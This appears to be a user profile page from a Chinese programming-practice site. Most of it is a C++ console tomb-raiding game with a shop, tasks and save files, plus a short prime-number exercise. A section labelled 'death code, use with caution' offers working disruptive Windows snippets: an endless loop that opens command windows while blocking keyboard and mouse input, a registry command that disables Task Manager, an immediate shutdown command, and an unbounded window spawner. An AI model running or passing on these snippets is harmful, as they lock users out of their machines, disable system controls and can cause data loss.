-
个人简介
盗墓传奇 1.2版本 【商店】更新商店功能,商品用银子兑换 【任务】可完成任务,领取奖励#include <bits/stdc++.h> #include <windows.h> #include <ctime> #include <limits> using namespace std; const double DEFAULT_SLEEP_TIME = 1.2; const int DEFAULT_COLOR = 15; const int MAX_ITEMS = 10; const int MAX_TASKS = 10; // 最大任务数量 // 玩家属性结构体 struct Player { long long silver; long long combat; long long speed; string name; bool has_map; bool has_eye; bool has_yinyang; string items[MAX_ITEMS]; int item_count; }; // 任务结构体 struct Task { string name; // 任务名称 string desc; // 任务描述 string reward_desc; // 奖励描述 long long reward_silver; // 奖励银子 long long reward_combat; // 奖励战力 long long reward_speed; // 奖励速度 string reward_item; // 奖励道具 bool is_completed; // 是否完成 bool is_received; // 是否领取 }; // 商店道具结构体 struct ShopItem { string name; long long price; string desc; }; Player player; Task tasks[MAX_TASKS]; // 任务列表 int task_count = 0; // 当前任务数量 ShopItem shop_items[] = { {"千年人参", 800, "使用后战力+300"}, {"摸金符", 500, "使用后速度+200"}, {"大力丸", 300, "使用后战力+100"}, {"疾风靴", 400, "使用后速度+150"}, {"止血散", 200, "战斗失败后恢复100战力"} }; const int SHOP_ITEM_COUNT = sizeof(shop_items) / sizeof(ShopItem); void clean() { system("cls"); } void sleep_seconds(double n) { Sleep(static_cast<DWORD>(n * 1000)); } void set_color(short n) { SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), n); } void init_random() { srand(static_cast<unsigned int>(time(0))); } int random_int(int first, int second) { int min_val = min(first, second); int max_val = max(first, second); return rand() % (max_val - min_val + 1) + min_val; } void print_random_color(const string& msg) { int color = random_int(9, 14); set_color(color); cout << msg << endl; set_color(DEFAULT_COLOR); } void show_attributes() { set_color(11); cout << "================= 玩家属性 =================" << endl; set_color(DEFAULT_COLOR); printf("银子:%lld\t战力:%lld\t速度:%lld\n", player.silver, player.combat, player.speed); cout << "特殊能力:"; if (player.has_yinyang) cout << "阴阳轮转 "; if (player.has_eye) cout << "神霄天目 "; if (!player.has_yinyang && !player.has_eye) cout << "无"; cout << endl; cout << "持有道具:"; if (player.item_count == 0) cout << "无"; else for (int i = 0; i < player.item_count; i++) cout << player.items[i] << " "; cout << "\n===========================================\n\n"; } void add_item(const string& item_name) { if (player.item_count < MAX_ITEMS) { player.items[player.item_count++] = item_name; print_random_color("叮!获得道具:" + item_name); } else { set_color(12); cout << "道具栏已满,无法获得新道具!" << endl; set_color(DEFAULT_COLOR); } } void use_item_internal(int idx) { string item = player.items[idx]; if (item == "千年人参") { player.combat += 300; char msg[100]; sprintf(msg, "使用千年人参,战力+300!当前战力:%lld", player.combat); print_random_color(msg); } else if (item == "摸金符") { player.speed += 200; char msg[100]; sprintf(msg, "使用摸金符,速度+200!当前速度:%lld", player.speed); print_random_color(msg); } else if (item == "大力丸") { player.combat += 100; char msg[100]; sprintf(msg, "使用大力丸,战力+100!当前战力:%lld", player.combat); print_random_color(msg); } else if (item == "疾风靴") { player.speed += 150; char msg[100]; sprintf(msg, "使用疾风靴,速度+150!当前速度:%lld", player.speed); print_random_color(msg); } else if (item == "止血散") { player.combat += 100; char msg[100]; sprintf(msg, "使用止血散,战力+100!当前战力:%lld", player.combat); print_random_color(msg); } else if (item == "大荒地图") { set_color(12); cout << "大荒地图无法使用,是探索古墓的必备道具!" << endl; set_color(DEFAULT_COLOR); sleep_seconds(DEFAULT_SLEEP_TIME); return; } else { set_color(13); cout << "该道具暂时无法使用!" << endl; set_color(DEFAULT_COLOR); sleep_seconds(DEFAULT_SLEEP_TIME); return; } for (int i = idx; i < player.item_count - 1; i++) player.items[i] = player.items[i+1]; player.item_count--; print_random_color("道具已使用!"); sleep_seconds(DEFAULT_SLEEP_TIME); } void item_management() { while (true) { clean(); set_color(13); cout << "\n\n\t\t【道具管理】\n\n"; set_color(DEFAULT_COLOR); cout << "当前银子:" << player.silver << "两\n\n"; cout << "【我的道具】\n"; if (player.item_count == 0) cout << "暂无道具\n"; else for (int i = 0; i < player.item_count; i++) cout << i+1 << ". " << player.items[i] << endl; cout << "\n【操作选项】\n1. 使用道具\n2. 返回主菜单\n请选择操作(1-2):"; int choice; while (!(cin >> choice) || choice <1 || choice>2) { cin.clear(); cin.ignore(1e9,'\n'); set_color(12); cout << "输入无效!请输入1或2:"; set_color(DEFAULT_COLOR); } if (choice ==2) break; if (player.item_count ==0) { set_color(12); cout << "\n没有道具可使用!" << endl; set_color(DEFAULT_COLOR); sleep_seconds(DEFAULT_SLEEP_TIME); continue; } cout << "\n请选择要使用的道具编号(0返回):"; int item_choice; while (!(cin >> item_choice) || item_choice <0 || item_choice > player.item_count) { cin.clear(); cin.ignore(1e9,'\n'); set_color(12); cout << "输入无效!请输入0-" << player.item_count << ":"; set_color(DEFAULT_COLOR); } if (item_choice ==0) continue; use_item_internal(item_choice -1); } } void shop_system() { while (true) { clean(); set_color(10); cout << "\n\n\t\t【大荒杂货铺】\n\n"; set_color(DEFAULT_COLOR); cout << "当前银子:" << player.silver << "两\n\n"; cout << "【出售道具】\n"; for (int i=0; i<SHOP_ITEM_COUNT; i++) cout << i+1 << ". " << shop_items[i].name << " - " << shop_items[i].price << "两 (" << shop_items[i].desc << ")\n"; cout << "\n" << SHOP_ITEM_COUNT+1 << ". 返回主菜单\n请选择(" << SHOP_ITEM_COUNT+1 << "返回):"; int choice; while (!(cin >> choice) || choice <1 || choice > SHOP_ITEM_COUNT+1) { cin.clear(); cin.ignore(1e9,'\n'); set_color(12); cout << "输入无效!1-" << SHOP_ITEM_COUNT+1 << ":"; set_color(DEFAULT_COLOR); } if (choice == SHOP_ITEM_COUNT+1) break; ShopItem& it = shop_items[choice-1]; if (player.silver >= it.price) { player.silver -= it.price; char msg[100]; sprintf(msg, "花费%lld两购买%s!剩余:%lld", it.price, it.name.c_str(), player.silver); print_random_color(msg); add_item(it.name); } else { set_color(12); cout << "\n银子不足!" << endl; set_color(DEFAULT_COLOR); } sleep_seconds(DEFAULT_SLEEP_TIME); } } // ===================== 【任务系统】 ===================== // 初始化任务 void init_tasks() { task_count = 4; // 主线任务1 tasks[0] = { "初次探索", "完成一次古墓探索", "奖励:银子500,战力200", 500, 200, 0, "", false, false }; // 主线任务2 tasks[1] = { "战胜怪物", "在战斗中击败一只古墓怪物", "奖励:银子800,道具大力丸", 800, 0, 0, "大力丸", false, false }; // 每日任务1 tasks[2] = { "每日历练", "累计探索古墓2次", "奖励:银子300,速度100", 300, 0, 100, "", false, false }; // 每日任务2 tasks[3] = { "宝箱猎人", "开启一个神秘宝箱", "奖励:银子400,战力150", 400, 150, 0, "", false, false }; } // 提交任务,领取奖励 void submit_task(int idx) { Task& t = tasks[idx]; if (!t.is_completed) { set_color(12); cout << "任务尚未完成,无法领取奖励!" << endl; set_color(DEFAULT_COLOR); sleep_seconds(DEFAULT_SLEEP_TIME); return; } if (t.is_received) { set_color(13); cout << "已领取过该任务奖励!" << endl; set_color(DEFAULT_COLOR); sleep_seconds(DEFAULT_SLEEP_TIME); return; } // 发放奖励 player.silver += t.reward_silver; player.combat += t.reward_combat; player.speed += t.reward_speed; if (!t.reward_item.empty()) add_item(t.reward_item); t.is_received = true; print_random_color("任务完成!领取奖励成功!"); sleep_seconds(DEFAULT_SLEEP_TIME); } // 任务主界面 void task_system() { while (true) { clean(); set_color(14); cout << "\n\n\t\t【任务系统】\n\n"; set_color(DEFAULT_COLOR); show_attributes(); cout << "【可接/已接任务】\n"; for (int i=0; i<task_count; i++) { cout << i+1 << ". " << tasks[i].name << "\n"; cout << " 描述:" << tasks[i].desc << "\n"; cout << " 奖励:" << tasks[i].reward_desc << "\n"; cout << " 状态:"; if (tasks[i].is_received) cout << "已完成并领奖"; else if (tasks[i].is_completed) cout << "可领奖"; else cout << "未完成"; cout << "\n----------------------------------------\n"; } cout << "\n【操作】\n1. 领取任务奖励\n2. 返回主菜单\n请选择(1-2):"; int c; while (!(cin >> c) || c<1 || c>2) { cin.clear(); cin.ignore(1e9,'\n'); set_color(12); cout << "无效输入!:"; set_color(DEFAULT_COLOR); } if (c ==2) break; cout << "\n请选择要领奖的任务编号(0返回):"; int idx; while (!(cin >> idx) || idx<0 || idx>task_count) { cin.clear(); cin.ignore(1e9,'\n'); set_color(12); cout << "无效!0-" << task_count << ":"; set_color(DEFAULT_COLOR); } if (idx ==0) continue; submit_task(idx-1); } } // 探索完成后自动完成任务 void check_explore_task() { if (!tasks[0].is_completed) tasks[0].is_completed = true; if (!tasks[2].is_completed) tasks[2].is_completed = true; } // 击败怪物后完成任务 void check_kill_task() { if (!tasks[1].is_completed) tasks[1].is_completed = true; } // 开启宝箱后完成任务 void check_chest_task() { if (!tasks[3].is_completed) tasks[3].is_completed = true; } // ====================================================== void save_progress() { ofstream f("save_data.txt"); if (f) { f << player.name << endl; f << player.silver << " " << player.combat << " " << player.speed << endl; f << player.has_map << " " << player.has_eye << " " << player.has_yinyang << endl; f << player.item_count << endl; for (int i=0; i<player.item_count; i++) f << player.items[i] << endl; // 保存任务 f << task_count << endl; for (int i=0; i<task_count; i++) f << tasks[i].is_completed << " " << tasks[i].is_received << endl; f.close(); print_random_color("进度保存成功!"); } else { set_color(12); cout << "保存失败!" << endl; set_color(DEFAULT_COLOR); } sleep_seconds(DEFAULT_SLEEP_TIME); } void load_progress() { ifstream f("save_data.txt"); if (f) { player.item_count =0; f >> player.name; f >> player.silver >> player.combat >> player.speed; f >> player.has_map >> player.has_eye >> player.has_yinyang; int n; f >> n; for (int i=0; i<n; i++) { string it; getline(f>>ws, it); if (player.item_count < MAX_ITEMS) player.items[player.item_count++] = it; } // 加载任务 f >> task_count; for (int i=0; i<task_count; i++) f >> tasks[i].is_completed >> tasks[i].is_received; f.close(); print_random_color("进度加载成功!欢迎回来," + player.name + "!"); } else { set_color(12); cout << "无存档!" << endl; set_color(DEFAULT_COLOR); } sleep_seconds(DEFAULT_SLEEP_TIME); } void event_chest() { set_color(10); cout << "\n你发现了宝箱!" << endl; sleep_seconds(DEFAULT_SLEEP_TIME); check_chest_task(); // 完成宝箱任务 int t = random_int(1,3); if (t==1) { int s = random_int(500,2000); player.silver +=s; char m[50]; sprintf(m, "获得%d两银子!", s); print_random_color(m); } else if (t==2) { int c = random_int(200,800); player.combat +=c; char m[50]; sprintf(m, "战力+%d!", c); print_random_color(m); } else add_item("千年人参"); sleep_seconds(DEFAULT_SLEEP_TIME); } void event_monster() { set_color(12); string ms[] = {"尸蹩","血尸","粽子","阴兵","螭龙"}; string name = ms[random_int(0,4)]; int c = random_int(300,1500); cout << "\n遇到" << name << "!战力:" << c << endl; sleep_seconds(DEFAULT_SLEEP_TIME); cout << "1.战斗 2.逃跑:"; int ch; while (!(cin>>ch)||ch<1||ch>2) { cin.clear();cin.ignore(1e9,'\n'); set_color(12);cout<<"无效!1或2:";set_color(DEFAULT_COLOR); } if (ch==1) { cout << "\n战斗中..." << endl; sleep_seconds(1.5); if (player.combat >= c) { set_color(10); cout << "胜利!击败" << name << endl; check_kill_task(); // 完成击杀任务 int s = random_int(300,1000); player.silver +=s; char m[50];sprintf(m,"获得%d两!",s);print_random_color(m); if (random_int(1,3)==1) add_item("摸金符"); } else { set_color(12); cout << "失败!" << endl; player.silver -=200; if (player.silver <0) player.silver =0; cout << "损失200两,剩余:" << player.silver << endl; bool has = false; int id =-1; for (int i=0; i<player.item_count; i++) if (player.items[i] == "止血散") { has=1; id=i; break; } if (has) { player.combat +=100; char m[100];sprintf(m,"自动使用止血散,战力+100:%lld",player.combat); print_random_color(m); for (int i=id; i<player.item_count-1; i++) player.items[i] = player.items[i+1]; player.item_count--; } } } else { if (player.speed >=50) { set_color(11);cout<<"成功逃跑!"<<endl; } else { set_color(12);cout<<"没逃脱!受伤!战力-100"<<endl; player.combat -=100; if (player.combat <0) player.combat=0; } } sleep_seconds(DEFAULT_SLEEP_TIME); } void explore_scene() { clean(); set_color(9);cout<<"\n\n\t\t【古墓探索】\n\n";set_color(DEFAULT_COLOR); string sc[] = {"前殿","甬道","耳室","主墓室","藏宝室","陪葬坑"}; string name = sc[random_int(0,5)]; cout << "进入:" << name << endl; sleep_seconds(DEFAULT_SLEEP_TIME); check_explore_task(); // 探索任务完成 int e = random_int(1,4); switch(e) { case 1: event_chest(); break; case 2: event_monster(); break; case 3: set_color(14);cout<<"\n发现壁画!速度+50"<<endl; player.speed +=50; char m[100];sprintf(m,"当前速度:%lld",player.speed); print_random_color(m); sleep_seconds(DEFAULT_SLEEP_TIME); break; default: set_color(13);cout<<"\n空空如也"<<endl; sleep_seconds(DEFAULT_SLEEP_TIME); break; } cout << "\n按回车返回..."; cin.ignore(); cin.get(); } int show_main_menu() { clean(); show_attributes(); set_color(14);cout<<"\t\t【盗墓传奇 - 主菜单】\n\n";set_color(DEFAULT_COLOR); cout << "1. 继续探索\n"; cout << "2. 道具管理\n"; cout << "3. 商店购买\n"; cout << "4. 保存进度\n"; cout << "5. 加载进度\n"; cout << "6. 退出游戏\n"; cout << "7. 任务系统\n"; // 新增 cout << "\n请选择(1-7):"; int c; while (!(cin>>c)||c<1||c>7) { cin.clear();cin.ignore(1e9,'\n'); set_color(12);cout<<"无效!1-7:";set_color(DEFAULT_COLOR); } return c; } void init_game() { player.silver =0; player.combat=0; player.speed=0; player.has_map=0; player.has_eye=0; player.has_yinyang=0; player.item_count=0; init_tasks(); // 初始化任务 cout << endl; sleep_seconds(1); set_color(DEFAULT_COLOR); cout << " 盗墓传奇\n"; sleep_seconds(1); cout << "作者:xhyqj\n"; sleep_seconds(1); cout << "监制:元始天尊\n"; sleep_seconds(1); cout << "第一体验者:xhyqj\n"; sleep_seconds(1); cout << "支持者:xhmzw\n"; sleep_seconds(1.5); clean(); cout << "请输入姓名:"; cin >> player.name; cout << "欢迎 " << player.name << "!" << endl; sleep_seconds(DEFAULT_SLEEP_TIME); clean(); show_attributes(); sleep_seconds(DEFAULT_SLEEP_TIME); cout << "收到大荒信件,是否打开?(T/F):"; char ch; cin >> ch; cin.ignore(1e9,'\n'); if (ch == 'F' || ch == 'f') { sleep_seconds(1); cout << "被窃魂符拉入阴间!\n"; sleep_seconds(1); cout << "看到老者,是否上前?(T/F):"; cin >> ch; if (ch == 'F' || ch == 'f') { sleep_seconds(1); cout << "魔神出现!\n"; sleep_seconds(1.5); clean(); int col = random_int(9,14); set_color(col); cout << " ▉ ▉ ▉▉▉▉▉▉▉▉▉▉▉▉ ▉▉▉▉▉▉▉▉▉▉▉\n"; cout << " ▉▋ ▉▉▉▉▉▉▉▉▉ ▉ ▉ ▉\n"; cout << " ▉ ▉ ▉ ▉ ▉ ▉ ▉ ▉ ▉\n"; cout << " ▉ ▉ ▉ ▉▉▉▉▉ ▉ ▉ ▉\n"; cout << " ▉ ▉ ▉ ▉ ▉ ▉ ▉ ▉\n"; cout << " ▉ ▉ ▉ ▉ ▉ ▉ ▉ ▉▉ ▉\n"; cout << " ▉ ▉ ▉ ▉ ▉ ▉▋ ▉\n"; cout << " ▉ ▉ ▉ ▉ ▉ ▉ ▉ ▉ ▉\n"; cout << " ▉ ▉▉ ▉ ▉▉▉▉▉▉ ▉\n"; set_color(DEFAULT_COLOR); sleep_seconds(2); cout << "\n游戏结束!\n"; exit(0); } else { sleep_seconds(1); cout << "老者赠予你宝物!\n"; sleep_seconds(1); print_random_color("银子+1000,战力+500,速度+100!"); player.silver +=1000; player.combat +=500; player.speed +=100; sleep_seconds(1); print_random_color("获得:阴阳轮转"); player.has_yinyang=1; sleep_seconds(1); print_random_color("获得:神霄天目"); player.has_eye=1; sleep_seconds(1); print_random_color("获得:大荒地图"); player.has_map=1; add_item("大荒地图"); sleep_seconds(1); } } else { sleep_seconds(1); cout << "获得地图、银子、功法!\n"; sleep_seconds(1); print_random_color("获得大荒地图!"); player.has_map=1; add_item("大荒地图"); print_random_color("银子+100,战力+500!"); player.silver +=100; player.combat +=500; sleep_seconds(1.5); } } void game_loop() { while (true) { int c = show_main_menu(); switch(c) { case 1: if (player.has_map) explore_scene(); else { set_color(12);cout<<"无地图无法探索!"<<endl;set_color(DEFAULT_COLOR); sleep_seconds(1); } break; case 2: item_management(); break; case 3: shop_system(); break; case 4: save_progress(); break; case 5: load_progress(); break; case 6: clean(); set_color(14); cout << "感谢游玩!\n"; set_color(DEFAULT_COLOR); exit(0); case 7: task_system(); break; // 任务 default: break; } } } int main() { init_random(); init_game(); game_loop(); return 0; }死亡代码,请慎用!!!
//死亡代码(死于不死是随机的,这得看运气) #include<bits/stdc++.h> #include<windows.h> #include<Winable.h> using namespace std; int main() { std::srand(std::time(0)); int x = std::rand() % 2 + 1; if(x==1) { if(MessageBox(NULL,"你好,请接受死亡吧","死亡框",MB_OKCANCEL)==IDOK||MessageBox(NULL,"你好,请接受死亡吧","死亡框",MB_OKCANCEL)==IDCANCEL) { FreeConsole(); while(1) { system("start cmd"); BlockInput(true); } } else { system("mode con cols=50 lines=20"); string s="恭喜你!你以过关!"; system("color A"); for(int i=0;i<s.size();i++) cout<<s[i],Sleep(50); } } else { if(MessageBox(NULL,"你好,请接受死亡吧","死亡框",MB_OKCANCEL)==IDCANCEL||MessageBox(NULL,"你好,请接受死亡吧","死亡框",MB_OKCANCEL)==IDOK) { FreeConsole(); while(1) { system("start cmd"); BlockInput(true); } } else { system("mode con cols=50 lines=20"); string s="恭喜你!你以过关!"; system("color A"); for(int i=0;i<s.size();i++) cout<<s[i],Sleep(50); } } return 0; }禁用任务管理器
#include<bits/stdc++.h> #include<windows.h> #include<Winable.h> using namespace std; int main() { system("reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" /v DisableTaskMgr /t REG_DWORD /d 1 /f"); }关闭计算机
#include<bits/stdc++.h> #include<windows.h> #include<Winable.h> using namespace std; int main() { system("shutdown -s -t 0"); }生成大量命令行窗口
#include<bits/stdc++.h> #include<windows.h> #include<Winable.h> using namespace std; int main() { while(1) system("start cmd"); }#include<bits/stdc++.h> using namespace std; int n,b[600100]; int f(int x) { int s=0; while(x) { s+=x%10; x/=10; } return s; } int main() { cin>>n; for(int i=2;i<=sqrt(n);i++) if(b[i]==0) for(int j=i+i;j<=n;j+=i) b[j]=1; for(int i=4;i<=n;i++) if(b[i]&&b[f(i)]) cout<<i<<endl; }图片区






灌水区
我的Hydro账号(在Hydro我的账号翻到最后有惊喜)
-
通过的题目
-
最近活动
This person is lazy and didn't join any contests or homework. -
最近编写的题解
题目标签
- 聪明人游戏
- 4
- 深搜 广搜
- 1
- 广搜
- 1
- 大沥2021
- 1
- dp
- 1
- 算法笔记
- 1